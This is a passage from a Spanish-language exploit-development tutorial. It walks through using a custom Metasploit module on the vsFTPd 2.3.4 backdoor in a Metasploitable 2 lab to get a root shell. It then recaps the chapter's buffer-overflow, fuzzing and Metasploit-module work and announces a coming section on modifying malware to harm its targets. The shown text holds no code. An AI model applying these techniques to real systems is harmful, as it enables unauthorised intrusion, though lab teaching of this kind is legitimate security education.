Imagen 38.0: Parámetros de configuración de nuestro módulo en Metasploit.
Si eres de los que les gusta transcribir el código para entenderlo o comprenderlo sobre la marcha del proceso de compilación e hiciste todo de forma correcta, luego de la ejecución del comando “run” Metasploit deberá arrojarte un “Banner” indicando la vulnerabilidad que estas intentando explotar (vsFTPd 2.3.4). Si has seguido las instrucciones correctamente, mediante Metasploit obtendrás una Shell de comandos sobre el sistema remoto (Metasploitable 2 / Servidor FTP) en el puerto en donde opera el malware (6200), permitiéndote así navegar sobre los directorios del Servidor como usuario “Root” (Superuser). En el ejemplo de abajo, se ejecutó el comando “pwd” para ubicarnos en el sistema, arrojando el resultado “/”, que lo mayormente común en Linux se trata del directorio raíz, con el comando “ls” enlistaremos todos los directorios que existen en esa locación para posteriormente navegar entre ellos:
Imagen 38.1 y 38.2: Obtención de Shell sobre servidor FTP y navegación por directorios.
A lo largo de este capítulo cubrimos varios temas referentes al desarrollo de exploits, desde la creación de un simple programa que cuenta con una pila desbordable y como vulnerarlo con scripts hechos en Perl, ya sea mediante comunicación por telnet o remotamente desde Parrot, también pisamos terreno más a fondo al momento de trabajar con una aplicación más completa al involucrar el uso de un Debugger para hacer Fuzzing de la aplicación y así identificar el “Buffer Overflow” con el que cuenta esta, así como también el uso de Mona.py en un Debugger para facilitarnos la elaboración de un script mayormente perjudicial que ocasione un desbordamiento de esta aplicación. También cubrimos lo suficiente en cuanto a lenguaje ensamblador para familiarizarte con la escritura y el contexto del proceso de formulación de exploits, como lo son los registros EIP y ESP en cuanto se trate de Overflows. Y por último en la segunda mitad nos familiarizamos en la creación de módulos de Metasploit, como es que deben estar constituidos estos para que funcionen o el framework los tome en cuenta, hasta la elaboración de un “Auxiliary” que causa un desbordamiento a nivel kernel de un sistema Windows 7 y la elaboración de un exploit que se aprovecha de una vulnerabilidad en servidores FTP, comprometiendo así el host remoto. Ahora que ya te ensuciaste un poco las manos con esto, compilando código en diferentes lenguajes y utilizando debuggers para hacer algo de Reversing, es momento de que pases a algo un tanto más complejo como lo es el Modding, en donde se adentraras en las entrañas del malware para así realizar cambios que resulten favorables para ti y obvio…. lo contrario para quien va destinado.
